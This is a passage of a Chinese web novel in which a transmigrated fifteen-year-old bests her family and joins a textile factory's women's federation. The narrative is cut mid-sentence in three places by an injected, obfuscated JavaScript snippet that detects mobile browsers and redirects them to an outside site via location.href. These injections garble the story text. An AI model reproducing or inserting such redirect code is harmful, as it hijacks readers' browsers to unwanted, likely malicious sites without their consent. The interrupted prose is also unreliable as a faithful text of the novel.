王小雪面容憔悴,声音沙哑:“林光宗,你摸着自己的良心说话,你给你爸妈寄钱寄东西,我说过什么没有?你弟你妹你侄子外甥来家里过暑假寒假我说过什么没有?可是他们越来越过分了,乱翻家里的东西,想拿什么就拿什么,还跟孩子争吃的。咱们家一年四季就没断过人,一到晚上,客厅里全是腿,怎么着?咱们家是招待所吗?就算是招待所也有休息的时候吧?” 林光宗怒吼:“没断过人怎么了?谁家没个亲戚?你就是小气计较!” 王雪急得满脸通红,还想接着自证自己不小气。 宋知南却抬抬手,大声说:“停停,两位听我说两句。” 林光宗瞥了一眼宋知南,他认得贺胜男,妇联办公室只有两个人,这个女同志又是谁? 他不耐烦地说道:“你一边去,我家的事跟你没关系。” 宋知南微微一笑:“林同志,咱们工人阶级是一家,你家的事就是我家的事,怎么会跟我没关系呢?你先别急,你听我说完,这事我有办法。” 林光宗只好说:“行行,那你说吧。” 众人一听宋知南有办法,也很诧异。 宋知南环视一圈众人,又看了一眼何黛,何黛也用好奇的目光看着她。 宋知南用清晰洪亮的声音说道:“要我说,这个王小雪同志太过分了。” 她话音一落,王小雪气得脸更红了,怎么女同志不向着女同志说话,反倒向着男人说话?这个小同志就是太年轻才不理解她的苦楚。 王小雪生气了,但林光宗却很高兴,他就说嘛,是他占理儿,群众的眼睛是雪亮的,这个女同志是个好女人。 宋知南接着大声说:“林同志,我教你一招:你以后就把自己的衣裳给小舅子穿,自行车也给他骑,你天天去岳父岳母家干活做饭,把岳父家的所有亲戚接回家里住。你就给你老婆打个样板,让她瞧瞧模范是怎么当的,咱臊死她!” 林光宗呆住了。 围观群众先是瞠目结舌,然后哄然大笑。有人反应慢了一些,过了一会儿,才反应过来怎么回事,也跟着哈哈大笑。 妇联干事何黛也没忍住,噗嗤一声笑了出来。 王小雪直到这时才咂摸过来,原来是友军,刚才差点误伤人家。 这时候,杠精系统又开始播报了:宿主杠得好杠得妙,杠出了新风格,杠精值加5。 8. 第8章树社会主义新风,专为女同志鸣不平 林光宗这会儿终于反应过来,他瞪着眼睛怒声质问:“你这个女同志怎么说话的呢?我是来解决问题的,不是来听你胡咧咧的。” 宋知南故作惊讶:“我这不是在给你解决问题吗?你岳父岳母把你媳妇养这么大容易吗?你孝顺孝顺老人家怎么了?还有,你媳妇的弟弟年纪小,要你的东西又怎么了?当姐夫的就得大方些,别整天小气扒拉的,你看咱厂里别的姐夫怎么做的?” 林光宗:“你这是胡搅蛮缠,当媳妇的怎么跟当女婿的一样?” 宋知南恨铁不成纲:“林同志,你听听你说的叫什么话?当女婿的怎么了?儿媳妇孝顺公公婆婆是应该的,难道女婿孝顺岳父岳母就不应该?哦,你爸妈养大你不容易,你岳父岳母养大你媳妇就很容易?敢情你媳妇是树上结的?” 围观众人再次大笑:“哈哈哈。” 王小雪忍俊不禁,用欣赏的目光看着宋知南。对啊,林光宗天天说他爸妈不同容易,难道自己爸妈就容易吗?以前自己怎么就那么傻,他一说自己爸妈不容易,她就跟着体谅他,尽心尽力地孝顺公婆,结果呢?公婆得寸进尺、贪得无厌。林光宗从来就没有体谅过自己的难处。 林光宗被噎得一句话也说不出来,只是拿一双赤红眼睛狠狠地瞪着宋知南。 宋知南摇头叹息:“唉,现在的男人真是一代不如一代。还是老一代的男人更有担当,更大方。” 说着,她看向人群中的一个大爷,“大爷,您说是不是?你们那一代男人是不是更大方更有担当?” 大爷一脸骄傲:“那可不是,现在的年轻人确实不太行。” 大爷旁边的大妈忍不住撇嘴,可拉倒吧,男人无论老的少的,就没一个好的。她活这么大什么样的男人没见过?可就没见过好的。 林光宗说不过宋知南,又觉得很没面子,转身就要离开。他一边往外走一边说:“你这人不讲道理,我不跟你说了,我等你们贺主任回来再说。” 宋知南热情挽留:“林同志,你别走啊。你就说我说的解决办法好不好吧?你就照我说的去做,臊一臊你媳妇怎么了?” 王小雪也跟着说:“对啊,林光宗,我回家就把我爸妈和亲戚也接到咱们家,咱们一起孝顺呗。” 她决定了,回家就按这个女同志说的去做,把家里的自行车给弟弟骑,把林光宗的手表给父亲戴,你做得了初一我就做十五,既然你不想好好过日子,那大家都别过了,不能光她一个人糟心。 林光宗气呼呼地离开了。 王小雪还停在原地,她上前感谢了宋知南一番,接着问道:“同志,你叫什么名字?是妇联新来的干事吗?” 宋知南语气诚挚:“我叫宋知南,我家里也有姐姐,跟你年龄差不多,看到你我就想起了自己的姐姐,心中那股激愤之情难以遏制,就忍不住上来多说几句。我看得出来,你跟所有的工人姐妹一样,通情达理,爽朗大方,你要是不大方,哪能忍你婆家亲戚那么久?压根门都不让他们进。你这样的好同志,不应该被人泼脏水。” 王小雪觉得这话真正说到了她心坎里,要不是刚认识,她恨不得拉着宋知南跟她义结金兰。 王小雪还想再跟宋知南多聊会儿,不过上工时间快到了,她只能恋恋不舍地离开了,“我叫王小雪,是第七车间的,你有空来找我。” “好的,好的。” 上班时间快到了,其他人只能意犹未尽地离开了。 不过,宋知南的这一番话又出名了,那个“咱臊死他”也成了大家引用最多的名句。 等到大伙离开后,何黛上前跟宋知南打招呼,热情地请她进屋喝茶聊天,这正中宋知南的下怀。 她跟着何黛进了妇联办室,何黛给她倒了一茶缸茶水,两人你一句我一句地闲聊。 纺织厂很大也很小,两人虽然不认识,但仔细一问,彼此的圈子肯定有交集。 “哎呀,你大姐跟我二姐的同学的小姑子的邻居在一个厂子里;哎呀,咱俩是一个学校毕业的,我比你高两届。我表妹跟你的朋友陆诗月是同班同学。” 两人越聊越亲近,聊到最后,仿佛认识了很多年似的。 宋知南觉得气氛烘托得差不多了,就开始向何黛打听:“何同志,我听说你们妇联在招人?” 何黛打量着宋知南:“是有这么回事,来打听的人很多,还有不少人开后门递条子。不过我们主任要求很严格,不光要能写会算,口才好,还得性格泼辣,最好是已婚的,处理事情比较方便。你别的方面都挺好,就是这年纪……” 宋知南今年十五岁,这年纪也不算太小,这个年代,有的人十四岁就参加工作了。 性格泼辣,没问题,要多辣她就能有多辣。 但贺主任要求已婚,她就不符合了。 宋知南并不气馁,说道:“我明白的,主任要求已婚,是想着处理工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565012|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作比较方便,毕竟咱们这些年轻未婚女同志,通常脸皮比较薄,又因为这样那样的要求容易放不开。” 何黛频频点头:“就是这个意思。你看刚才,主任不在,我险些应付不过来。今天还算好的呢,还有的老人家直接撒泼打滚,还有的啥话都往外说,我听也不是,不听也不是。”上次有对夫妻吵架,把床上的那点事都抖落开了,她窘得满脸通红。 宋知南接着说:“不过,我跟别人不一样,我心中装着领袖的思想,秉持着马克思主义妇女观,我敢对封建旧思想开战。” 何黛:“那你真勇敢。” 何黛其实挺欣赏宋知南 ,这姑娘口才好,表面看着文静,但内里辣,能镇得场子。可惜她只是一个小干事做不了主,就说:“那你得等贺主任回来,我做不了主。不过我很喜欢你。要是咱们能做同事就好了。” 宋知南一脸欣喜:“真的吗?我也很喜欢你。要是能和你当同事那可太幸福了。你想啊,同事可是得一周见六天,一呆就是一整天,甚至比家人相处得时间都长,要是遇到不喜欢的合不来的人,那日子可怎么过?” “你说得特别对。” 宋知南接着说:“你说咱们这样脸皮薄又心思单纯的年轻女孩要是碰上那种经验老到爱算计人的老油条,可怎么应付?又不能随便换工作,想想都愁人。” 何黛越听越想把宋知南留下来,只可惜她没有权限。 何黛做不了别的,就想多留宋知南呆一会儿,反正自己一个人呆着也无聊。她想起贺主任临走时交代她在墙上刷标语和出黑板报,就邀请道:“宋同志,你下午要是没事就跟我一起去刷标语吧?” 宋知南自然答应,并自告奋勇地要帮着干活。 何黛用红漆写标语:千万不要忘记阶级斗争,妇女能顶半边天。 写了几行常见标语后,何黛觉得不太满意,就试探着问宋知南:“宋同志,你说咱们再写点什么标语好?” 宋知南想了想,说:“我建议再刷一些能突出咱们妇联特色的标语,比如说‘树社会主义新风,专为女同志鸣不平’,‘妇联大舞台,委屈你就来’。” 何黛双眼放光:“宋同志,你真是个人才。咱们就写这个。” 何黛认真地刷上标语,退后几步观察,越看越满意。 何黛和宋知南正在欣赏着墙上的标语,只听得一个女声揶揄道:“哟,小何同志,这标语写得不错嘛。” 9. 第9章今天发挥很稳定 何黛回头一看,见是贺胜男,连忙招呼道:“贺主任回来了。” 宋知南也笑着叫了一声贺主任,贺主任三十多岁,中等身材,剪了个□□头,声音洪亮,走路带风。 贺胜男看了一眼宋知南,正要问她有什么事。何黛赶紧拉过宋知南介绍给贺主任:“贺主任,她叫宋知南。宋同志可厉害了,今天帮我解决了一个难题。” 接着,何黛小嘴叭叭地把事情的经过讲了出来。 贺胜男认真听着,时不时地询问一些细节。 等到何黛说完,她便用欣赏的目光看着宋知南:“小宋同志,你确实是个人才。” 何黛又指指墙上的标语接着说:“还有呢,这墙上的标语也是宋同志想出来的,她脑子真好使。” 宋知南谦虚道:“这是我们俩一起想出来的。” 贺胜男面带微笑地看着宋知南,她看得出来这姑娘是有备而来,当下心思就有些活动,这样的人才确实挺适合她们妇联。妇联要招人的消息一放出去,很多人都过来问,还有人走后门送礼。她跟杨主任的要求很严格,现在人选还没定下来。 妇联办公室只有两个名额,何黛占了一个,何黛是个年轻姑娘,有些事应付不来。贺胜男原本打算再招个能写会算、脑子活络又性格泼辣的年轻媳妇进来,也好应付那些蛮不讲理的婶子大娘们。 见贺胜男神色犹豫,宋知南赶紧趁热打铁:“贺主任,我虽然年轻,但我们家孩子多,亲戚多,家庭情况比较复杂,我对这方面的经验比同龄人丰富。而且我这人从小就爱打抱不平,爱为女同志发声,昨天我们院里发生了一件事,我们院有个魏姐,她生了两个女儿,她爱人说她生不出儿子对不起祖宗,还叫她把工作让给自己弟弟。我一听就火了,就对魏姐的爱人说,祖宗希望你年年考第一,希望工作每年拿先进,你做到了吗?你上学时不好好学习,工作时偷懒摸鱼,怎么一到生孩子就觉得对不起祖宗了?而且什么祖宗不祖宗的,那是封建旧思想,新时代讲究男女都一样。” 何黛听着听着忍不住大声叫好:“宋同志,你骂得真好。” 贺主任点头称赞:“小宋说得不错。” 宋知南接着说:“其实你们妇联招人的消息也是魏姐告诉我的,她把昨天的事告诉厂里的姐妹们,大家都开玩笑说我适合来妇联工作,她们就需要我这样的娘家人,鼓励我过来问问,我今天就鼓起勇气来看看。” 贺胜男不由得一怔,这个小宋还没工作就有群众基础了?他们纺织厂的女职工很多,妇联工作量也很大,所以工会的女工委(女职工委员会)才决定成立妇联办公室。要不然的话,光女工委就够用了。 贺胜男认真考虑了一会儿,这个宋知南的缺点是年纪小,未婚。优点也很明显,口才好,胆子大,脑子灵活,而且还有群众基础。她就破例一次吧,不过她还得过杨主任那一关。 贺胜男也是个爽快人,当下就说道:“小宋,你很不错。这样吧,你明天上午九点来办公室,我带你去见见女工委主任杨主任,听听她的意见。” “好的,谢谢贺主任。” 宋知南告别贺胜男和何黛,往家走去。 宋冬宝已经回家了,宋知南眼睛一瞪,他就知道自己该干什么,赶紧乖乖地去准备晚饭。 宋知南在一旁指点他:“焖个杂粮饭,炒个醋溜白菜,拌个萝卜丝,做个番茄蛋汤。” 宋冬宝在厨房翻找一会儿,问:“姐,鸡蛋怎么没了?” 宋知南笃定地说:“鸡蛋肯定被大哥偷吃了,他这人从小就爱偷吃。” 宋冬宝无言以对,大哥天天不挨家,他怎么偷吃生鸡蛋?不过姐姐说什么就是什么吧。 宋冬宝做饭,宋知南回房间背书做功课。 过了一会儿,大家陆续回来,院子里开始热闹起来。 宋上进和李玉华一到家,就迫不及待地问宋知南:“小南,你今天去知青办报名了吗?” 宋知南头也不抬地答:“报了报了,不信你问大哥。” 两人不约而同地松了口气。 李玉华一听宋知南已经报上名了,想着事情已成定局,眼珠一转就想作妖,便试探道:“小南,你看家里现在挺困难,你一时半会又用不了那么多钱,要是丢了怎么办?不如你把钱留在家里,等以后你需要用钱,我再给你寄过去。” 宋知南冷笑:“你做梦呢?小时候骗我的压岁钱,现在又想骗我的救命钱,想得美。” 杠精值加5。 李玉华拉着脸:“我是你亲妈,你连我都不信?” 宋知南针锋相对:“就是亲妈才不敢信,别人骗我我能报公安。你骗我,我能拿你怎么办?我们女孩就要防火防盗防父母兄弟。” 李玉华:“……” 杠精值再加5。 宋知南把李玉华的念头摁得死死的,“李同志,我把话给你说清楚,你要是敢打我钱的主意,我就举报你儿子对女同学耍流氓,毁了他的一生。” 李玉华和宋上进同时跳脚:“你胡说八道,你哥是个正派人!” 宋知南:“你们怎么证明他正派?他看着像正经人吗?” 李玉华拍着大腿嚎叫起来:“我做的是什么孽,生了你这么个白眼狼,你这是随了谁?” 宋知南语气平淡:“很简单,我随你俩呗。” 宋上进心中烦躁:“行啦,别嚎了,赶紧去厨房看看,冬宝能做出啥饭菜来,别让他糟蹋粮食。” 宋上进一个劲地摇头叹息,一脸失望地看着宋知南。宋知南像是没看见他似的,你爱失望不失望。 原主害怕父母失望,一直渴望得到父母的认可。每当父母流露出这样的神情时,原主就疯狂内疚自责,觉得肯定是自己做错了什么让爸妈失望了。 但她可不会,她敢于让任何人失望。因为她早就明白一个道理:期望是一种微妙的暴力,你渴望得到谁的认可,就会成为谁的奴隶。她不想成为任何人的奴隶,只想成为他们的主人。 宋上进叹息完毕又开始爹味说教:“小四啊,你下乡后可不能再由着自己性子了,家里人惯着你,外人可不会惯着你。” 宋知南一脸疑惑:“哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565013|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,家里人惯过我?我怎么不知道?” 宋上进再次无言。 宋知南不懂就问:“如果家里人对我那样是惯着,那对宋秋实和宋冬宝算什么?算锻炼吗?” 宋上进还是无言以对。 杠精系统:杠精值加10。 宋知南满意地离开了客厅。 半小时后开饭,宋秋实再次掐着饭点回家。 因为宋知南已经报上名了,宋秋实压在心口的石头终于放下了,人也放松下来,再加上大家都觉得宋知南在家呆不了两天了,因此对她态度都还行。宋家的氛围难得的轻松,甚至有些愉悦。 宋知南懒得融入他们一家子,热闹都是他们的,跟自己无关,只有饭菜跟自己有关。 她连干了两大碗杂粮饭,菜也没少吃。 宋秋实蹙着眉头嫌弃地看了宋知南一眼:“小南你咋回事?饭量变得比我还大。” 宋知南撩了一下眼皮,淡淡地答道:“因为我动脑子,你又没脑子。” 宋秋实把筷子啪地扔在桌上,“你怎么说话的?” 宋知南霍地站起来,一把揪住宋秋实的衣领,用冷飕飕的声音问道:“怎么,皮又痒了是吧?一天不打上房揭瓦,我最讨厌别人在我吃饭时找事。” 宋上进和李玉华一看事情不好,赶紧把两人拉开:“你们俩就不能懂点事吗?” 宋冬宝吓得像鹌鹑似的缩在一旁,太可怕了。三姐真的疯了,一言不和就动手开打。 李玉华和宋上进一人站一边,好声哄劝宋秋实:“秋实,你别跟你妹一般见识,你就忍她几天,反正她马上就下乡了。” 宋知南转身回屋去了。 宋知夏吃完晚饭才回来,她一回到房间就发现自己的衣柜被人动了,她忍着气问宋知南:“小南,你翻我的东西了?” 宋知南坦然承认:“对啊,你以前翻我的,我就翻你的呗。” 宋知夏耐着性子跟她讲道理:“小南,不经人允许,随便翻别人的东西是不对的。” 宋知南:“哦,你还知道不对啊,那你以前为啥偷看我的日记呢?” 宋知夏语结,很快就找到了借口:“我那时年纪小,不懂事。” 宋知南微微一笑:“我也年纪小啊,我也不懂事啊。” “你十五了还不懂事,咋好意思说出口?” “偷看我日记时你已经上初中了,你咋好意思的?你懂事我就懂事,你不懂我也不懂。” 宋知夏气得胸脯起伏着,死死地盯着宋知南,宋知南也盯着她看,直到对方先移开目光。 宋知夏气呼呼地起身:“宋知南,你以后会为你的性子付出代价的。” 宋知南毫不退让:“我的代价就是越来越爽,百因必有果,你们的报应就是我。” 宋知夏拉着脸去找父母告状,只是宋上进和李玉华也不敢惹宋知南,还反过来劝她做为姐姐要大度些。 宋知夏是有苦说不出。 全家唉声叹气,只有宋知南气息平稳,心情舒畅,今天发挥很稳定,又是相当满意的一天。 10. 第10章组织就需要你这样的人才 次日早饭后,宋知南穿着昨天的衣裳,收拾妥当,准备出门。 宋知夏一直盯着宋知南身上的衣裳看,没好气地说:“你穿完记得还回来。” 宋知南头也不回地说:“还不还就看你表现。” 宋知夏想怒又不敢怒。 宋知南出门遇到魏芬,魏芬冲她眨眨眼,两人默契地避开人群,魏芬小声问:“我昨晚没来得及问,事情办得咋样了?有戏不?” 宋知南小声说:“幸亏魏姐告诉我这个消息,我去得很及时,贺主任挺喜欢我的,今天贺主任带我去工会见她的领导,她领导要是满意我就能留下来了。姐,麻烦你继续替我保密,我害怕我爸妈弄出幺蛾子来。” 魏芬点头:“你放心,我明白的。” 魏芬想了想又说:“你一定要好好把握住这个机会,该送礼就送礼,别舍不得。” 说到这里,她迟疑片刻,接着下定决心:“你要是手头没钱,我可以借给你,等你上了班发了工资再还我就行。” 能主动借钱的人都是大好人呀,宋知南心中感动,连忙说:“不用,我手里有钱。” 魏芬见她真不需要,就拍拍宋知南的肩膀:“那行,我去上班了,下午回来记得告诉我结果。” 宋知南先去了妇联办公室,何黛已经来上班了。一看到宋知南就热情地拉着她说话,她小心嘱咐道:“一会儿你见了杨主任,可别害怕,她这个人看着严肃,其实人挺好的,真心为咱们女工着想。” “我本来有点紧张,你一安慰我就不紧张了。” 她们说着话,贺胜男也来上班了。 贺胜男一进来就说:“小宋,你准备一下,咱们趁着刚上班,杨主任还不太忙,赶紧过去。杨主任不但是女工委主任还是工会副主席,整天忙得脚不沾地。” “好的,我已经准备好了。” 贺胜男带着宋知南往工会办公室走去,在门口轻轻敲了敲门:“杨主任,我是小贺。” 里面传来一个清亮的声音:“小贺啊,进来吧。” 两人一起进了办公室,杨主任正在办公桌前忙着什么,宋知南飞快地打量了她一眼,杨主任大约四十岁左右,身材高大健壮,坐姿笔挺,一头精神利落的齐耳短发,肤色微黑,双目炯炯有神。 贺胜男指着宋知南说:“杨主任,这位小同志叫宋知南,她母亲是咱们纺织厂的老工人,父亲是隔壁国棉厂的。小同志口才不错,脑子灵活,还挺有正义感,挺适合咱们妇联的。我带她过来让您看看行不行。” 杨主任打量了宋知南一眼,宋知南大大方方地向她问好。 杨主任冲宋知南点点头,转头问贺胜男:“你不是说想招一个能写会算、性格泼辣的已婚妇女吗?怎么又改变主意了?” 贺胜男笑着回答:“原本是这么打算的,但我瞧着小宋实在合适,这不又改变主意了。” 杨主任见贺胜男如此推崇宋知南,不禁也有些好奇。 贺胜男长话短说,把宋知南这两天的“战绩”简明扼要地叙述了一遍。 杨主任听罢,也是忍俊不禁,这个小同志确实有点意思。性格泼辣,口才好,有正义感不说,连劝架方式都别具一格。怪不得贺胜男喜欢, 杨主任饶有兴趣地问宋知南:“小宋,你当时是怎么想到这些话的?” 宋知南朗声回答:“杨主任,我从小就喜欢读书思考,尤其喜欢领袖和革命导师马克思的书,我也一直把马克思妇女观当作指导思想,并试着用理论来指导实践,平时在生活中活学活用。 我认为,女人和男人只是生理不同,社会分工不同,我们在任何方面都不逊于男人。我就见不得那些封建旧思想,但凡发现旧思想要死灰复燃,我就想把它们浇灭。就比如说我们院里那个邻居,天天说什么对不起列祖列宗,他祖宗希望他好好学习天天向上,希望他为祖国做贡献,他咋不奋起直追,知耻后勇呢?怎么一到生孩子就拿祖宗来说事?谁说有后代才对得起祖宗?咱们伟大的总理同志和他爱人邓同志,为了革命事业,不也没有后代?谁能说他们对不起祖宗?周家和邓家的祖宗有他们这样的后代,在地下也肯定会倍感光荣。” 贺胜男和杨主任忍不住一齐笑了出来。 杨主任接着严肃地说道:“小宋啊,你有正义感有锐气非常好,不过,你也得知道,咱们纺织厂百分之七十的工人都是女工,你们妇联的工作是十分琐碎复杂的,有些家属是非常难缠的,你做好思想准备了吗?” 宋知南语调铿锵有力:“杨主任,我觉得这世上就没有一样工作是不难的,但我们革命青年就是要勇敢向前不怕困难,我的名字叫宋知南,寓意就是知难而上,永不后退。” 杨主任称赞道:“你爸妈挺会取名字啊。” 宋知南一点也不想给宋上进两口子脸上贴金,就说道:“我爸妈文化程度有限,这名字是上户口时工作人员帮忙取的,这名字代表了组织对我的期许和鼓励。” “原来这样。” 杨主任谈兴正浓,一个梳着两条黑亮长辫的年轻姑娘站在半开的门前敲门示意,“杨副主席,厂委通知咱们过去开会。” “好,我马上就过去。” 贺胜男适时提出告辞。 杨主任爽快地说道:“小贺,你眼光不错。小宋算是通过咱们的现场考试了。你抽个时间给小宋同志办个入职,组织就需要她这样的人才。” “好的杨主任。” 宋知南和贺胜男满意地离开了工会办公室。 宋知南一出门,就一脸感激地说道:“贺主任,你真是我的伯乐,我一切行动听从你和杨主任的指挥,你们指哪儿我打哪儿。” 贺主任笑了笑,“你这个小同志挺能说。” 贺胜男考虑片刻,说:“那这样吧,明天我们大家要去开会,你回去先准备准备,后天上午来办手续。” “好的,没问题。” 宋知南想着,按知青办说的时间,后天早上,知青们就要出发了。到时一切已成定局,宋上进和李玉华想作妖也无济于事,送走宋秋实后,她就可以安心上班了。 出了妇联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565014|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办公室,宋知南没有直接回家,她先去理发店花2毛钱剪了个短发。接着去供销社和商店逛了一圈,买了一身成衣,军绿色裤子和白衬衫,又买了一双黑皮鞋。到布店扯了几尺卡其布,其他的打算以后再买。 宋知南正准备离开,就看见门口进来一男一女,男俊女靓,十分引人注目。 男的用低沉的声音问道:“茶茶,你喜欢什么随便挑,我有的是布票。” 茶茶?原书女主江茶? 宋知南飞快地打量了一眼江茶和她身边的男人。 江茶对别人的目光很敏锐,察觉到宋知南的打量,立即转头看着她。 宋知南只看了一眼就不再感兴趣,她只是想认认人而已。她以后尽量不跟这些人打交道。 宋知南提着东西快步离开。 路上,宋知南又努力回忆了一遍剧情,好像她在书中只是衬托女主的工具人,两人之间没有发生太大的冲突。既然如此,她就没必要耗费心思去防备女主,各自安好吧。不过让她衬托别人,那是不可能的。她不踩别人已经是最大的善良。 宋知南出了布店又去废品回收站,回收站里有旧书旧杂志还有一些旧家具,捡漏的可能性不大,毕竟别人也不是傻子,有好东西早被收废品的弄走了。 宋知南在里面翻了半天,买了一摞有关纺织的旧杂志,一叠旧报纸,两个塑封笔记本,几本红色小说,一共花了3毛钱。 逛到中午,她去国营饭店吃了碗肉丝面,吃饱喝足回家。 一到家宋知南把宋知夏的衣裳脱了往她床上一扔,还给她。她把自己的新衣裳洗了干净,晾在阳台,准备后天上班时穿。忙完这些,她睡了个美美的午觉。 睡醒后,宋知南继续看书学习和整理东西。 晚饭还是宋冬宝做的,宋秋实依旧踩着饭点回家。 吃饭时,宋上进态度温和地对宋知南说:“小四,我听院里的老胡说,后天早上七点半,知青们在火车站的广场上集合,你明天别到处跑了,抓紧时间买点随身要用的东西。到了乡下要好好劳动,听队长的安排,跟乡亲们好好相处。记住,凡事不要强出头。记得多给家里写信。” 宋知南淡漠地嗯了一声。 宋上进对李玉华说:“玉华,你给小四多准备些吃的喝的。” 李玉华敷衍地应了一声,丝毫没有要准备的意思。本来,她对这个女儿的母爱就很稀薄,这几天宋知南又不停地作妖,消磨了她最后的一点爱意。现在李玉华都懒得多看宋知南一眼,巴不得她赶紧滚蛋。准备东西是不可能的。要换了大儿子,她哪怕去借也要给他多带些吃的用的。 宋知南一点也不伤心难过,什么母爱父爱,这些东西生来没有就是没有,不要执着。爱自己才是终身浪漫的开始。以她的自爱程度,她这辈子将会过得极度浪漫。 而宋上进和李玉华不作任何准备,自然坑的是自己的宝贝儿子,这事嘛,他们后天早上就会知道了。 事实上,根本不用等到后天早上,第二天下午,知青办的工作人员就上门来通知了。 11. 第11章事发、对峙 当时,宋上进和李玉华刚下班,两人接到知青办的通知,犹如晴天霹雳。 李玉华愣了一下,随即便死死地抓住工作人员,用难以置信的语气问道:“同志,你们是不是弄错了?不是我女儿宋知南下乡吗?为什么变成我儿子宋秋实了?你们一定是弄错了对不对?” 工作人员认真核对了一下名单,用笃定的语气说:“没弄错,这上面写的就是宋秋实,插队的地方是黑省。” 李玉华尖叫一声:“这不可能,我儿子没去报名!” 宋上进也是一脸焦急,很快他就想到了事情的关键,便急声问:“同志,报名不应该是本人报吗?名是我女儿宋知南报的,去的是我儿子宋秋实,这不符合规定吧?” 接待报名的是一个人,来通知的是另一个人,他们也不清楚这里的弯弯绕绕。 工作人员摇头:“我也不知道你们家是谁报的名,但这上面确实是宋秋实的名字,作不了假。我们还要去别家通知。你们的户口办没?没办的话,你们赶紧去派出所迁户口,今天他们加班加点。”工作人员通知完,赶紧离开这个是非之地。 宋上进和李玉华快步追上去,问工作人员能不能更改,对方自然不答应:“名单昨天就报上去了,都要出发了,你说要改就改呀?再说了,你儿子比你女儿更适合下乡。两位同志,你们这思想觉悟不行啊。” 两人一脸绝望地看着工作人员离开,院子里的邻居们听说这事后议论纷纷。 “这是咋回事啊?” “不是说是小南下乡吗?咋突然改成秋实了?” “谁知道呢。” “这个小南是个狠人呀,不声不响干大事。” “这下宋家要热闹了。” …… 李玉华和宋上进带着宋秋实,拿着户口本不死心地去知青办问能不能换人,结果终于让他们死心了。三人阴沉着脸去派出所迁户口,宋秋实的城市户口是要注销的,迁到他插队的地方,以后城里就没有他的供应粮了。 宋秋实迁完户口说去找同学再问问。 宋上进和李玉华失魂落魄地回家,李玉华一到家,再也无法控制自己,尖声大叫:“宋知南呢,宋知南,你这个黑心烂肺的白眼狼给我滚出来!” 众人目光炯炯地盯着这一家人,看来一场大戏又要上演了。 宋上进和李玉华怒气冲冲的锁上门,把邻居们窥探的目光隔绝在门外,两人一脸杀气地冲到宋知南的小房间里。 宋知南坐在床沿上,好整以暇地抱臂等着他们:“你们也知道了?” 宋上进气得五官扭曲,颤抖的手指着宋知南:“宋知南,你好大的胆子,你骗了全家!” 李玉华歇斯底里地大叫着:“为什么下乡的不是你?为什么不是你?你怎么不去死?” 宋知南不恼不怒,心平气和地说道:“事情已成定局,再闹下去又有什么意义呢?你们以前常跟我说,吃亏是福,退一步海阔天空,你们这次就退一步享享福不好吗?” 宋上进:“……” 没错,这是他常挂在嘴边的话,但只能他对别人说,不能反过来。 杠精系统:杠精值加5。 李玉华没有心情跟宋知南讲道理,上手就要打。 宋知南抓住她的手用力一甩,李玉华一个趔趄,蹬蹬后退几步,险些撞到墙上。 李玉华站稳后捶着墙大哭:“你竟敢对我动手,你反了天,我要让街坊邻居都知道你是个不孝女,不但坑自己亲哥,还动手打自己亲妈,我倒要看看,你还有没有脸活下去,我看你以后怎么找婆家。” 宋知南有恃无恐:“你去啊,去吆喝呀。我实话告诉你们吧,无论我顶着怎样的名声,我都能活下去。我也不打算找婆家,倒是你们,应该好好想想,会不会影响家里其他几个孩子的婚事。毕竟,大家要议论也是一起议论的,没道理只说我却把你们摘出来吧。人家只会说,那宋家出了个逆女,肯定是爹妈没教好,肯定是祖上的遗传,他们家其他孩子肯定也好不到哪里去。毕竟,老话得说好,子不教,父之过;女不孝,妈的错;子孙不好,那肯定是老祖宗的锅。坏了我一个,牵连全宋家,有你们陪着,我有什么可怕的。” 李玉华和宋上进一起沉默了。 杠精系统:杠精值加10。 等到宋秋实回家,三人忍不住抱头痛哭。宋秋实双眼赤红,一副要吃人的模样。 宋知南怕对方失去理智真跟她动手,也怕全家一起打她,到时她双拳难敌四手。为了做好防备,宋知南左手拿着剪刀,右手拿把水果刀,谁敢动手就送他温柔一刀。 女人都知道一句至理名言:宁见法官,不见法医。 她今年才十五岁,未成年,要是不小心捅死宋秋实和宋上进,属于反抗家庭暴力过当。因为捅的是自己的亲哥和亲爹,血水没流外人田,社会危害性较小,应该判不了几年。最坏的情况也不过如此,她能接受。 宋秋实本来无法控制自己的爆脾气,但一看到宋知南手中的剪刀和雪亮的水果刀,立即冷静下来了。 宋知南一看他的神色就知道他已经恢复了理智,说什么控制不住自己,蒙谁呢?如果他面对的是穷凶极恶的歹徒,面对的是拳击手,你看他能不能控制自己?还扯什么男女绝对力量,五岁小孩子拿把菜刀,你试试敢不敢用绝对力量去空手夺刀?她一个十 